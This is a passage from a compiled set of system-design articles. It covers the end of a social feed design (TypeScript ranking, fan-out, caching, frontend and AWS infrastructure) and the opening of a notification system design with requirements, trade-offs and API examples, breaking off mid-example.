        authorId: c.authorId,
      })),
    )

    // Neural network scoring
    const scores = await this.modelServer.predict("feed_ranking_v2", features)

    return this.sortByScore(candidates, scores)
  }

  private async finalRerank(userId: string, candidates: RankedPost[]): Promise<RankedPost[]> {
    // Apply diversity rules
    const diversified = this.applyDiversity(candidates, {
      maxPerAuthor: 2,
      contentTypeMix: { image: 0.4, video: 0.3, text: 0.3 },
      maxAds: 3,
    })

    // Apply integrity filters (misinformation, policy violations)
    const filtered = await this.applyIntegrityFilters(diversified)

    return filtered
  }

  private applyDiversity(posts: RankedPost[], rules: DiversityRules): RankedPost[] {
    const result: RankedPost[] = []
    const authorCounts = new Map<string, number>()
    const typeCounts = new Map<string, number>()

    for (const post of posts) {
      const authorCount = authorCounts.get(post.authorId) || 0
      if (authorCount >= rules.maxPerAuthor) continue

      // Check content type distribution
      const typeCount = typeCounts.get(post.contentType) || 0
      const typeRatio = typeCount / (result.length + 1)
      const maxRatio = rules.contentTypeMix[post.contentType] || 0.5
      if (typeRatio > maxRatio && result.length > 10) continue

      result.push(post)
      authorCounts.set(post.authorId, authorCount + 1)
      typeCounts.set(post.contentType, typeCount + 1)
    }

    return result
  }
}
```

### Fan-out Pipeline

```typescript collapse={1-20}
class FanoutService {
  private readonly CELEBRITY_THRESHOLD = 10_000
  private readonly BATCH_SIZE = 1000

  async fanoutPost(post: Post, author: User): Promise<FanoutResult> {
    const followerCount = author.followerCount

    if (followerCount < this.CELEBRITY_THRESHOLD) {
      return this.pushFanout(post, author)
    } else if (followerCount < 1_000_000) {
      return this.hybridFanout(post, author)
    } else {
      return this.pullOnly(post, author)
    }
  }

  private async pushFanout(post: Post, author: User): Promise<FanoutResult> {
    // Get all followers
    const followers = await this.getFollowers(author.id)

    // Process in batches to avoid memory pressure
    const batches = this.chunk(followers, this.BATCH_SIZE)
    let written = 0

    for (const batch of batches) {
      const pipeline = this.redis.pipeline()

      for (const followerId of batch) {
        // Add to follower's feed with timestamp score
        pipeline.zadd(`feed:${followerId}`, post.createdAt.getTime(), post.id)
        // Trim to max 500 posts
        pipeline.zremrangebyrank(`feed:${followerId}`, 0, -501)
      }

      await pipeline.exec()
      written += batch.length

      // Emit progress for monitoring
      this.metrics.increment("fanout.writes", batch.length)
    }

    return {
      strategy: "push",
      followersReached: written,
      duration: Date.now() - post.createdAt.getTime(),
    }
  }

  private async hybridFanout(post: Post, author: User): Promise<FanoutResult> {
    // Get active followers (engaged in last 7 days)
    const activeFollowers = await this.getActiveFollowers(author.id, 7)

    // Push to active followers only
    const pushResult = await this.pushToFollowers(post, activeFollowers)

    // Mark post for pull-based retrieval by inactive followers
    await this.redis.zadd(`celebrity_posts:${author.id}`, post.createdAt.getTime(), post.id)
    await this.redis.expire(`celebrity_posts:${author.id}`, 7 * 24 * 60 * 60)

    return {
      strategy: "hybrid",
      pushed: pushResult.count,
      markedForPull: author.followerCount - activeFollowers.length,
    }
  }

  private async pullOnly(post: Post, author: User): Promise<FanoutResult> {
    // Only index for pull-based retrieval
    await this.redis.zadd(`celebrity_posts:${author.id}`, post.createdAt.getTime(), post.id)

    // Update author's post index
    await this.leafClient.indexPost(post)

    return {
      strategy: "pull",
      indexed: true,
    }
  }
}
```

### Cache Consistency (TAO Pattern)

TAO uses a two-tier caching architecture with leasing for consistency:

```typescript collapse={1-15}
class TAOCache {
  private readonly leaseTimeout = 10_000 // 10 seconds

  async get(id1: string, assocType: string): Promise<Association[] | null> {
    // Try follower cache first
    const followerResult = await this.followerCache.get(this.cacheKey(id1, assocType))

    if (followerResult) {
      this.metrics.increment("cache.hit.follower")
      return followerResult
    }

    // Try leader cache
    const leaderResult = await this.leaderCache.get(this.cacheKey(id1, assocType))

    if (leaderResult) {
      this.metrics.increment("cache.hit.leader")
      // Populate follower cache
      await this.followerCache.set(this.cacheKey(id1, assocType), leaderResult, { ttl: 300 })
      return leaderResult
    }

    // Cache miss - fetch from MySQL with lease
    return this.fetchWithLease(id1, assocType)
  }

  private async fetchWithLease(id1: string, assocType: string): Promise<Association[]> {
    const leaseKey = `lease:${id1}:${assocType}`

    // Try to acquire lease
    const acquired = await this.redis.set(leaseKey, "1", "NX", "PX", this.leaseTimeout)

    if (!acquired) {
      // Another request is fetching - wait and retry
      await this.sleep(100)
      return this.get(id1, assocType)
    }

    try {
      // Fetch from MySQL
      const data = await this.mysql.query(
        `SELECT * FROM associations
         WHERE id1 = ? AND assoc_type = ?
         ORDER BY time DESC`,
        [id1, assocType],
      )

      // Populate both cache tiers
      await Promise.all([
        this.leaderCache.set(this.cacheKey(id1, assocType), data, { ttl: 3600 }),
        this.followerCache.set(this.cacheKey(id1, assocType), data, { ttl: 300 }),
      ])

      return data
    } finally {
      // Release lease
      await this.redis.del(leaseKey)
    }
  }

  async invalidate(id1: string, assocType: string): Promise<void> {
    // Delete from both tiers
    const key = this.cacheKey(id1, assocType)
    await Promise.all([this.followerCache.del(key), this.leaderCache.del(key)])
  }
}
```

### Engagement Counter (Eventual Consistency)

Engagement counts (likes, comments) use write-behind pattern for efficiency:

```typescript collapse={1-12}
class EngagementService {
  private readonly FLUSH_INTERVAL = 5000 // 5 seconds
  private pendingUpdates = new Map<string, EngagementDelta>()

  async incrementLike(postId: string): Promise<void> {
    // Immediate Redis increment for read consistency
    await this.redis.hincrby(`post:${postId}`, "like_count", 1)

    // Buffer MySQL update
    this.bufferUpdate(postId, { likes: 1 })
  }

  private bufferUpdate(postId: string, delta: EngagementDelta): void {
    const existing = this.pendingUpdates.get(postId) || {
      likes: 0,
      comments: 0,
      shares: 0,
    }

    this.pendingUpdates.set(postId, {
      likes: existing.likes + (delta.likes || 0),
      comments: existing.comments + (delta.comments || 0),
      shares: existing.shares + (delta.shares || 0),
    })
  }

  // Periodic flush to MySQL
  @Scheduled(FLUSH_INTERVAL)
  async flushToMySQL(): Promise<void> {
    const updates = new Map(this.pendingUpdates)
    this.pendingUpdates.clear()

    const queries = Array.from(updates.entries()).map(([postId, delta]) =>
      this.mysql.query(
        `UPDATE posts SET
          like_count = like_count + ?,
          comment_count = comment_count + ?,
          share_count = share_count + ?
         WHERE id = ?`,
        [delta.likes, delta.comments, delta.shares, postId],
      ),
    )

    await Promise.all(queries)
  }
}
```

## Frontend Considerations

### Feed Virtualization

For infinite scroll with thousands of potential posts:

```typescript collapse={1-15}
interface VirtualFeedConfig {
  containerHeight: number
  estimatedItemHeight: number
  overscan: number // Extra items above/below viewport
}

class VirtualFeed {
  private heightCache = new Map<string, number>()
  private offsetCache: number[] = []

  calculateVisibleRange(scrollTop: number, posts: Post[]): { start: number; end: number } {
    // Binary search for start index
    let start = this.binarySearchOffset(scrollTop - this.config.overscan * 300)

    // Calculate end based on viewport
    let accumulatedHeight = this.offsetCache[start] || 0
    let end = start

    while (
      end < posts.length &&
      accumulatedHeight < scrollTop + this.config.containerHeight + this.config.overscan * 300
    ) {
      accumulatedHeight += this.getItemHeight(posts[end])
      end++
    }

    return { start, end }
  }

  private getItemHeight(post: Post): number {
    // Check cache first
    if (this.heightCache.has(post.id)) {
      return this.heightCache.get(post.id)!
    }

    // Estimate based on content type
    let estimate = 100 // Base height
    if (post.content.media?.length > 0) {
      estimate += 400 // Image/video
    }
    if (post.content.text?.length > 200) {
      estimate += 50 // Long text
    }

    return estimate
  }

  // Called after actual render to update height cache
  onItemRendered(postId: string, actualHeight: number): void {
    this.heightCache.set(postId, actualHeight)
    this.rebuildOffsetCache()
  }
}
```

### Optimistic Engagement Updates

```typescript collapse={1-10}
class FeedStore {
  private posts = new Map<string, Post>()
  private pendingLikes = new Set<string>()

  async likePost(postId: string): Promise<void> {
    const post = this.posts.get(postId)
    if (!post || this.pendingLikes.has(postId)) return

    // Optimistic update
    this.pendingLikes.add(postId)
    this.updatePost(postId, {
      engagement: {
        ...post.engagement,
        likeCount: post.engagement.likeCount + 1,
        isLiked: true,
      },
    })

    // Re-render immediately
    this.notifySubscribers(postId)

    try {
      await this.api.likePost(postId)
    } catch (error) {
      // Rollback on failure
      this.updatePost(postId, {
        engagement: {
          ...post.engagement,
          likeCount: post.engagement.likeCount,
          isLiked: false,
        },
      })
      this.notifySubscribers(postId)
    } finally {
      this.pendingLikes.delete(postId)
    }
  }
}
```

### Real-time Feed Updates

```typescript collapse={1-12}
class FeedStreamManager {
  private eventSource: EventSource | null = null
  private reconnectAttempt = 0

  connect(userId: string): void {
    this.eventSource = new EventSource(`/api/v1/feed/stream?userId=${userId}`)

    this.eventSource.addEventListener("new_post", (event) => {
      const data = JSON.parse(event.data)
      this.onNewPost(data)
    })

    this.eventSource.addEventListener("engagement_update", (event) => {
      const data = JSON.parse(event.data)
      this.onEngagementUpdate(data)
    })

    this.eventSource.onerror = () => {
      this.scheduleReconnect()
    }
  }

  private onNewPost(data: NewPostEvent): void {
    // Show "New posts available" indicator instead of auto-inserting
    // This prevents jarring scroll position changes
    this.feedStore.setPendingPosts(data.count)
    this.ui.showNewPostsIndicator()
  }

  private onEngagementUpdate(data: EngagementUpdateEvent): void {
    // Update counts in place (non-disruptive)
    this.feedStore.updateEngagement(data.postId, data)
  }

  loadNewPosts(): void {
    // User clicked "Show new posts"
    const pending = this.feedStore.getPendingPosts()
    this.feedStore.prependPosts(pending)
    this.feedStore.clearPendingPosts()
    this.ui.scrollToTop()
  }
}
```

### Prefetching Strategy

```typescript collapse={1-10}
class FeedPrefetcher {
  private readonly PREFETCH_THRESHOLD = 5 // Posts from bottom

  onScroll(visibleRange: { start: number; end: number }, totalPosts: number): void {
    const postsRemaining = totalPosts - visibleRange.end

    if (postsRemaining < this.PREFETCH_THRESHOLD && !this.loading) {
      this.prefetchNextPage()
    }
  }

  private async prefetchNextPage(): Promise<void> {
    this.loading = true

    try {
      const cursor = this.feedStore.getNextCursor()
      const response = await this.api.getFeed({ cursor, limit: 20 })

      // Add to store but don't re-render yet
      this.feedStore.appendPosts(response.posts)
      this.feedStore.setNextCursor(response.pagination.nextCursor)
    } finally {
      this.loading = false
    }
  }
}
```

## Infrastructure

### Cloud-Agnostic Components

| Component     | Purpose              | Options                            |
| ------------- | -------------------- | ---------------------------------- |
| API Gateway   | Auth, rate limiting  | Kong, Envoy, Nginx                 |
| Graph Store   | Social graph         | Custom TAO-like, Neo4j, DGraph     |
| KV Cache      | Feed cache, sessions | Redis, KeyDB, Dragonfly            |
| Message Queue | Fan-out, events      | Kafka, Pulsar, NATS                |
| Relational DB | Users, posts         | MySQL, PostgreSQL, CockroachDB     |
| Object Store  | Media files          | MinIO, Ceph, S3-compatible         |
| ML Serving    | Ranking models       | TensorFlow Serving, Triton, Seldon |
| Feature Store | ML features          | Feast, Tecton, custom              |

### AWS Reference Architecture

![Diagram](./diagram-7.svg)

**Service configurations:**

| Service           | Configuration               | Rationale                           |
| ----------------- | --------------------------- | ----------------------------------- |
| Aggregator        | c5.4xlarge (16 vCPU, 32GB)  | CPU-bound ranking computation       |
| Leaf              | r5.8xlarge (32 vCPU, 256GB) | Memory-intensive index storage      |
| Fan-out workers   | Fargate Spot                | Cost-effective async processing     |
| ElastiCache Redis | r6g.2xlarge cluster mode    | Sub-ms feed cache reads             |
| Aurora MySQL      | db.r6g.4xlarge Multi-AZ     | Durability, read replicas for scale |
| DynamoDB          | On-demand mode              | TAO-like graph store, auto-scaling  |
| SageMaker         | p3.2xlarge (1 GPU)          | Neural network inference            |

### Multi-Region Deployment

![Diagram](./diagram-8.svg)

**Multi-region considerations:**

- Primary region for all writes (US-East)
- Read replicas in each region for local read latency
- Redis cross-region replication for feed cache
- ~50-100ms replication lag acceptable for social content
- Failover to secondary region if primary unavailable

## Conclusion

This design provides a social feed system with:

1. **Sub-500ms feed generation** via hybrid fan-out and pre-computed caches
2. **Personalized ranking** using multi-stage ML funnel (1000+ signals)
3. **Infinite scalability** through disaggregated architecture and sharding
4. **Celebrity handling** via pull-based merging avoiding write explosion
5. **Eventual consistency** acceptable for social content (strong for engagement)

**Key architectural decisions:**

- Hybrid fan-out balances latency (push) with scalability (pull)
- TAO-like graph store optimizes social relationship queries
- Multi-stage ranking funnel enables complex ML without latency impact
- Two-tier caching with leasing prevents thundering herd

**Known limitations:**

- ~1 minute eventual consistency for feed updates
- Pull-based celebrity posts may have slightly higher latency
- ML model staleness between hourly retraining windows
- Complex operational model with multiple specialized tiers

**Future enhancements:**

- Real-time ML model serving for instant personalization
- Federated learning for privacy-preserving ranking
- Graph neural networks for improved content understanding
- Edge-based feed generation for reduced latency

## Appendix

### Prerequisites

- Distributed systems fundamentals (caching, sharding, replication)
- ML basics (training vs. serving, feature engineering)
- Graph database concepts
- Message queue patterns (pub/sub, fan-out)

### Terminology

| Term                    | Definition                                                   |
| ----------------------- | ------------------------------------------------------------ |
| **Fan-out**             | Distributing a post to multiple follower feeds               |
| **TAO**                 | Facebook's graph store (The Associations and Objects)        |
| **Aggregator**          | Service that queries and combines data from multiple sources |
| **Leaf server**         | Memory-intensive server storing indexed data                 |
| **Candidate retrieval** | First stage of ranking - gathering potential items           |
| **Affinity**            | Strength of relationship between user and content/author     |
| **Leasing**             | Cache coordination pattern to prevent thundering herd        |

### Summary

- **Hybrid fan-out** (push for regular users, pull for celebrities) balances write amplification with read latency
- **TAO-like graph storage** with objects and associations models social data naturally and enables efficient graph queries
- **Multi-stage ML ranking** (billions → hundreds → 50) enables sophisticated personalization without latency impact
- **Two-tier regional caching** with followers and leaders maintains consistency while providing sub-ms reads
- **Eventual consistency** (~1 minute) is acceptable for social content; engagement counts use write-behind pattern
- Scale to 700K RPS feed loads with disaggregated aggregator/leaf architecture

### References

**Real-World Implementations:**

- [Serving Facebook Multifeed: Efficiency, Performance Gains Through Redesign](https://engineering.fb.com/2015/03/10/production-engineering/serving-facebook-multifeed-efficiency-performance-gains-through-redesign/) - Disaggregated architecture achieving 40% efficiency gains
- [TAO: The Power of the Graph](https://engineering.fb.com/2013/06/25/core-infra/tao-the-power-of-the-graph/) - Facebook's distributed graph store handling 1B+ reads/second
- [How Machine Learning Powers Facebook's News Feed Ranking](https://engineering.fb.com/2021/01/26/core-infra/news-feed-ranking/) - ML-based ranking at scale
- [Cache Made Consistent](https://engineering.fb.com/2022/06/08/core-infra/cache-made-consistent/) - Achieving 10 nines cache consistency at Meta
- [Journey to 1000 Models: Scaling Instagram's Recommendation System](https://engineering.fb.com/2025/05/21/production-engineering/journey-to-1000-models-scaling-instagrams-recommendation-system/) - Instagram's ML platform
- [How Twitter Uses Redis to Scale](https://highscalability.com/how-twitter-uses-redis-to-scale-105tb-ram-39mm-qps-10000-ins/) - Twitter's 105TB Redis deployment

**Academic Papers:**

- [TAO: Facebook's Distributed Data Store for the Social Graph](https://www.usenix.org/system/files/conference/atc13/atc13-bronson.pdf) - USENIX ATC 2013
- [Scaling Memcache at Facebook](https://www.usenix.org/conference/nsdi13/technical-sessions/presentation/nishtala) - NSDI 2013
- [LiRank: Industrial Large Scale Ranking Models](https://arxiv.org/html/2402.06859v1) - LinkedIn's ranking framework

**Related Articles:**

- [Design Real-Time Chat and Messaging](../design-real-time-chat-messaging/README.md) - WebSocket-based messaging
- [Design a Notification System](../design-notification-system/README.md) - Multi-channel notification delivery

---

## Design a Notification System

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-notification-system
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for multi-channel notifications covering event ingestion, channel routing, delivery guarantees, user preferences, rate limiting, and failure handling. This design addresses sub-second delivery at Uber/LinkedIn scale (millions of notifications per second) with at-least-once delivery guarantees and user-centric throttling.

# Design a Notification System

A comprehensive system design for multi-channel notifications covering event ingestion, channel routing, delivery guarantees, user preferences, rate limiting, and failure handling. This design addresses sub-second delivery at Uber/LinkedIn scale (millions of notifications per second) with at-least-once delivery guarantees and user-centric throttling.

<figure>

![High-level architecture: Event producers publish to Kafka, routing layer applies preferences and throttling, channel processors deliver via external providers.](./high-level-architecture-event-producers-publish-to-kafka-routing-layer-applies-p.svg)

<figcaption>High-level architecture: Event producers publish to Kafka, routing layer applies preferences and throttling, channel processors deliver via external providers.</figcaption>
</figure>

## Abstract

Notification systems solve three interconnected problems: **reliable delivery** (no notification is lost), **user respect** (throttling, preferences, quiet hours), and **channel optimization** (right message, right channel, right time).

**Core architectural decisions:**

| Decision           | Choice                               | Rationale                                                                    |
| ------------------ | ------------------------------------ | ---------------------------------------------------------------------------- |
| Delivery guarantee | At-least-once + idempotent consumers | Exactly-once impossible in distributed systems; dedup at consumer is simpler |
| Queue partitioning | By user_id                           | Co-locates user's notifications for rate limiting and aggregation            |
| Priority handling  | Separate queues per priority         | Critical notifications bypass backlog from bulk sends                        |
| Channel selection  | User preference → fallback chain     | Respect user choice, ensure delivery for critical alerts                     |
| Rate limiting      | Token bucket per user per channel    | Prevents notification fatigue, protects external provider limits             |
| Template rendering | At send time                         | Supports dynamic content, A/B testing, personalization                       |

**Key trade-offs accepted:**

- Increased latency from preference lookups in exchange for user control
- Storage overhead for deduplication windows (24-48 hours)
- Complexity of multiple channel processors vs. single delivery path
- At-least-once means clients must handle duplicates

**What this design optimizes:**

- Sub-500ms delivery for critical notifications
- 99.99% delivery rate with retry and fallback mechanisms
- User-controlled notification experience (frequency, channels, timing)
- Horizontal scaling to millions of notifications per second

## Requirements

### Functional Requirements

| Requirement            | Priority | Notes                                          |
| ---------------------- | -------- | ---------------------------------------------- |
| Multi-channel delivery | Core     | Push (iOS/Android), Email, SMS, In-app         |
| User preferences       | Core     | Opt-in/out per notification type and channel   |
| Template management    | Core     | Dynamic templates with variable substitution   |
| Scheduling             | Core     | Immediate, scheduled, timezone-aware delivery  |
| Delivery tracking      | Core     | Sent, delivered, opened, clicked status        |
| Rate limiting          | Core     | User-level and channel-level throttling        |
| Retry and fallback     | Core     | Automatic retry with channel fallback          |
| Notification history   | Extended | Queryable log for users and support            |
| Batching/aggregation   | Extended | Collapse similar notifications ("5 new likes") |
| Quiet hours            | Extended | Per-user do-not-disturb windows                |

### Non-Functional Requirements

| Requirement                 | Target                       | Rationale                                             |
| --------------------------- | ---------------------------- | ----------------------------------------------------- |
| Availability                | 99.99% (4 nines)             | Notifications are critical for user engagement        |
| Delivery latency (critical) | p99 < 500ms                  | Time-sensitive alerts (security, transactions)        |
| Delivery latency (normal)   | p99 < 5s                     | Acceptable for social/promotional                     |
| Throughput                  | 1M notifications/second peak | Enterprise scale (Uber: 250K/s, LinkedIn: millions/s) |
| Deduplication window        | 48 hours                     | Balance storage vs. duplicate prevention              |
| Delivery rate               | > 99.9%                      | After retries and fallbacks                           |

### Scale Estimation

**Users:**

- Monthly Active Users (MAU): 100M
- Daily Active Users (DAU): 40M (40% of MAU)
- Devices per user: 2 (phone + web)
- Push tokens to manage: 200M

**Traffic:**

- Notifications per user per day: 25 (mix of transactional and engagement)
- Daily notifications: 40M × 25 = 1B notifications/day
- Average per second: 1B / 86400 ≈ 12K notifications/second
- Peak multiplier (3x): 36K notifications/second
- Burst events (flash sales, breaking news): 100K+ notifications/second

**Storage:**

- Notification record: 500 bytes (metadata, status, timestamps)
- Daily storage: 1B × 500B = 500GB/day
- 90-day retention: 45TB
- Deduplication cache: 48-hour window × 1B × 32-byte key = ~64GB

**External provider capacity:**

- FCM: 600K quota tokens/minute ≈ 10K/second sustained
- APNs: No published limit, but throttles excessive traffic
- Email (SES): 50K/second with warm-up
- SMS (Twilio): 100 MPS per short code

## Design Paths

### Path A: Push-Based (Real-Time First)

**Best when:**

- Sub-second latency is critical
- Users expect immediate notifications
- Infrastructure can maintain persistent connections
- Moderate notification volume per user

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Persistent connections (WebSocket/SSE) to user devices
- Gateway maintains connection-to-user mapping
- Direct delivery bypasses external providers for in-app

**Trade-offs:**

- ✅ Lowest latency (< 100ms for in-app)
- ✅ No external provider costs for in-app
- ✅ Bidirectional communication
- ❌ Connection management complexity at scale
- ❌ Still needs push providers for background delivery
- ❌ Higher infrastructure cost (persistent connections)

**Real-world example:** Uber's RAMEN system maintains 1.5M+ concurrent connections, delivering 250K+ messages/second with 99.99% server-side reliability using gRPC bidirectional streaming.

### Path B: Queue-Based (Reliability First)

**Best when:**

- Delivery guarantee is paramount
- Notification volume is high but latency tolerance is 1-5 seconds
- Need strong audit trail
- Burst handling is critical

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- All notifications flow through durable message queue
- Workers process at their own pace
- Built-in retry with exponential backoff
- Dead letter queue for failed notifications

**Trade-offs:**

- ✅ Guaranteed delivery (no message loss)
- ✅ Excellent burst handling (queue absorbs spikes)
- ✅ Strong audit trail (Kafka retention)
- ❌ Higher latency (queue hop overhead)
- ❌ Ordering complexity across partitions
- ❌ Potential for notification storms after recovery

**Real-world example:** Slack uses Kafka-based infrastructure for notification delivery, achieving 100% trace coverage for debugging delivery issues.

### Path C: Hybrid (Tiered by Priority)

**Best when:**

- Mix of time-sensitive and bulk notifications
- Need to balance cost, latency, and reliability
- Different notification types have different SLAs

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Priority classification at ingestion
- Separate processing paths per priority
- Resource allocation matches SLA requirements
- Bulk notifications processed during off-peak

**Trade-offs:**

- ✅ Optimal latency for critical notifications
- ✅ Cost-efficient bulk processing
- ✅ Predictable SLAs per notification type
- ❌ Multiple code paths to maintain
- ❌ Priority classification complexity
- ❌ Risk of priority inversion under load

**Real-world example:** Netflix's RENO uses priority-based AWS SQS queues with corresponding compute clusters, delivering personalized notifications with different latency guarantees.

### Path Comparison

| Factor              | Push-Based | Queue-Based | Hybrid       |
| ------------------- | ---------- | ----------- | ------------ |
| Latency (critical)  | < 100ms    | 500ms-2s    | < 100ms      |
| Latency (bulk)      | Same       | Same        | Flexible     |
| Reliability         | Good       | Excellent   | Excellent    |
| Burst handling      | Limited    | Excellent   | Excellent    |
| Infrastructure cost | High       | Medium      | Medium-High  |
| Complexity          | High       | Medium      | Highest      |
| Production examples | Uber RAMEN | Slack       | Netflix RENO |

### This Article's Focus

This article focuses on **Path C (Hybrid)** because:

1. Reflects production systems at scale (Netflix, LinkedIn)
2. Demonstrates priority-based trade-off thinking
3. Handles diverse notification types (security alerts to marketing)
4. Balances cost, latency, and reliability appropriately

## High-Level Design

### Component Overview

![Diagram](./diagram-4.svg)

### Notification API

Receives notification requests, validates, enriches, and routes to appropriate queue.

**Responsibilities:**

- Request validation and authentication
- Template resolution and rendering
- Priority classification
- User preference lookup
- Queue routing based on priority

**Design decisions:**

| Decision           | Choice                                | Rationale                                                 |
| ------------------ | ------------------------------------- | --------------------------------------------------------- |
| API style          | REST with async response              | Fire-and-forget for producers; status via webhook/polling |
| Idempotency        | Client-provided notification_id       | Enables safe retries from producers                       |
| Batching           | Support up to 1000 recipients/request | Reduces API overhead for bulk sends                       |
| Template rendering | At ingestion time                     | Content frozen at send; supports personalization          |

### Template Service

Manages notification templates with variable substitution and multi-language support.

**Template structure:**

```typescript
interface NotificationTemplate {
  templateId: string
  name: string
  category: "transactional" | "marketing" | "system"
  channels: {
    push?: {
      title: string // "Your order {{orderId}} has shipped"
      body: string // "Track your package: {{trackingUrl}}"
      data?: Record<string, string>
    }
    email?: {
      subject: string
      htmlBody: string
      textBody: string
    }
    sms?: {
      body: string // Max 160 chars for single segment
    }
  }
  variables: VariableDefinition[]
  defaultLocale: string
  translations: Record<string, ChannelContent>
}
```

**Design decisions:**

- Templates stored in PostgreSQL with Redis cache (5-minute TTL)
- Variable validation at template creation prevents runtime errors
- Version history for rollback support
- A/B testing via template variants

### Preference Service

Manages user notification preferences with channel-level and type-level granularity.

**Preference model:**

```typescript
interface UserPreferences {
  userId: string
  globalEnabled: boolean
  quietHours?: {
    enabled: boolean
    start: string // "22:00"
    end: string // "07:00"
    timezone: string // "America/New_York"
  }
  channels: {
    push: ChannelPreference
    email: ChannelPreference
    sms: ChannelPreference
    inApp: ChannelPreference
  }
  categories: {
    [category: string]: {
      enabled: boolean
      channels: string[] // Override global channel prefs
      frequency?: "immediate" | "daily_digest" | "weekly_digest"
    }
  }
}

interface ChannelPreference {
  enabled: boolean
  frequency?: FrequencyLimit // Max 5/hour, 20/day
}
```

**Storage strategy:**

- Hot path: Redis hash with 1-hour TTL
- Canonical: PostgreSQL with audit history
- Write-through cache invalidation

### Device Registry

Maintains device tokens for push notification delivery.

**Token management:**

```typescript
interface DeviceToken {
  userId: string
  deviceId: string
  platform: "ios" | "android" | "web"
  token: string
  tokenType: "apns" | "fcm" | "web_push"
  appVersion: string
  lastSeen: Date
  createdAt: Date
  updatedAt: Date
  status: "active" | "stale" | "invalid"
}
```

**Token lifecycle:**

| Event                           | Action                              |
| ------------------------------- | ----------------------------------- |
| App install                     | Register new token                  |
| App launch                      | Refresh token if > 7 days old       |
| Token refresh callback          | Update token, mark previous invalid |
| Delivery failure (unregistered) | Mark token invalid immediately      |
| 30 days inactive                | Mark token stale (lower priority)   |
| 270 days inactive (Android)     | Token expires automatically         |

**Per Firebase documentation:** Monitor `droppedDeviceInactive` percentage; tokens inactive > 270 days on Android are automatically expired.

### Router Service

Core orchestration layer that applies business logic before delivery.

**Routing flow:**

1. **Deduplication check**: Has this (user_id, notification_id) been processed?
2. **Preference check**: Is user opted in for this notification type and channel?
3. **Quiet hours check**: Is user in do-not-disturb window?
4. **Rate limit check**: Has user exceeded frequency limits?
5. **Aggregation check**: Should this be batched with similar notifications?
6. **Channel selection**: Which channel(s) based on preference and fallback rules?
7. **Dispatch**: Send to appropriate channel processor(s)

### Channel Processors

Independent processors for each delivery channel with provider-specific logic.

**Push Processor:**

- Manages connection pools to APNs/FCM
- Handles token-based authentication (APNs) and service account auth (FCM)
- Respects provider rate limits (FCM: 600K tokens/minute)
- Processes invalid token responses

**Email Processor:**

- Manages sender reputation and warm-up
- Handles bounces (hard/soft) and complaints
- Implements one-click unsubscribe (Gmail/Yahoo 2024 requirement)
- Tracks open/click events via tracking pixels and redirect URLs

**SMS Processor:**

- Routes to appropriate number type (short code vs. long code)
- Handles multi-segment messages (> 160 chars)
- Manages opt-out via STOP keyword
- Respects carrier rate limits

**In-App Processor:**

- Delivers via WebSocket for connected users
- Falls back to polling endpoint for disconnected
- Supports notification aggregation (badge counts)
- Manages read/unread state

## API Design

### Send Notification

**Endpoint:** `POST /api/v1/notifications`

**Request:**

```json
{
  "notificationId": "uuid-client-generated",
  "templateId": "order_shipped",
  "recipients": [
    {
      "userId": "user_123",
      "variables": {
        "orderId": "ORD-456",
        "trackingUrl": "https://track.example.com/ORD-456"
      }
    }
  ],
  "priority": "high",
  "channels": ["push", "email"],
  "options": {
    "ttl": 86400,
    "collapseKey": "order_update_ORD-456",
    "scheduledAt": null
  }
}
```

**Response (202 Accepted):**

```json
{
  "requestId": "req_abc123",
  "notificationId": "uuid-client-generated",
  "status": "accepted",
  "recipientCount": 1,
  "estimatedDelivery": "2024-02-03T10:00:05Z"
}
```

**Error Responses:**

| Code | Error                    | When                                    |
| ---- | ------------------------ | --------------------------------------- |
| 400  | `INVALID_TEMPLATE`       | Template not found or invalid variables |
| 400  | `INVALID_RECIPIENT`      | User ID not found                       |
| 409  | `DUPLICATE_NOTIFICATION` | notificationId already processed        |
| 429  | `RATE_LIMITED`           | Producer rate limit exceeded            |

### Bulk Send

**Endpoint:** `POST /api/v1/notifications/bulk`

**Request:**

```json
{
  "notificationId": "bulk_uuid",
  "templateId": "weekly_digest",
  "recipientQuery": {
    "segment": "active_users_7d",
    "excludeOptedOut": true
  },
  "priority": "low",
  "channels": ["email"],
  "options": {
    "spreadOverMinutes": 60,
    "respectQuietHours": true
  }
}
```

**Response (202 Accepted):**

```json
{
  "requestId": "bulk_req_xyz",
  "notificationId": "bulk_uuid",
  "status": "queued",
  "estimatedRecipients": 150000,
  "estimatedCompletion": "2024-02-03T11:00:00Z"
}
```

### Get Notification Status

**Endpoint:** `GET /api/v1/notifications/{notificationId}/status`

**Response:**

```json
{
  "notificationId": "uuid",
  "status": "delivered",
  "recipients": [
    {
      "userId": "user_123",
      "channels": {
        "push": {
          "status": "delivered",
          "deliveredAt": "2024-02-03T10:00:02Z",
          "openedAt": "2024-02-03T10:05:00Z"
        },
        "email": {
          "status": "sent",
          "sentAt": "2024-02-03T10:00:03Z",
          "openedAt": null
        }
      }
    }
  ]
}
```

### User Preferences

**Endpoint:** `GET /api/v1/users/{userId}/preferences`

**Response:**

```json
{
  "userId": "user_123",
  "globalEnabled": true,
  "quietHours": {
    "enabled": true,
    "start": "22:00",
    "end": "07:00",
    "timezone": "America/New_York"
  },
  "channels": {
    "push": { "enabled": true },
    "email": { "enabled": true, "frequency": { "maxPerDay": 10 } },
    "sms": { "enabled": false }
  },
  "categories": {
    "marketing": { "enabled": false },
    "order_updates": { "enabled": true, "channels": ["push", "email"] },
    "security": { "enabled": true, "channels": ["push", "sms", "email"] }
  }
}
```

**Update Preferences:**

**Endpoint:** `PATCH /api/v1/users/{userId}/preferences`

```json
{
  "categories": {
    "marketing": { "enabled": true, "frequency": "weekly_digest" }
  }
}
```

### Device Registration

**Endpoint:** `POST /api/v1/devices`

**Request:**

```json
{
  "userId": "user_123",
  "deviceId": "device_abc",
  "platform": "ios",
  "token": "apns_token_xyz",
  "appVersion": "3.2.1"
}
```

**Response (201 Created):**

```json
{
  "deviceId": "device_abc",
  "status": "active",
  "registeredAt": "2024-02-03T10:00:00Z"
}
```

### Notification History

**Endpoint:** `GET /api/v1/users/{userId}/notifications?limit=50&cursor=xxx`

**Response:**

```json
{
  "notifications": [
    {
      "notificationId": "uuid_1",
      "templateId": "order_shipped",
      "title": "Your order has shipped",
      "body": "Track your package...",
      "channel": "push",
      "status": "read",
      "createdAt": "2024-02-03T10:00:00Z",
      "readAt": "2024-02-03T10:05:00Z"
    }
  ],
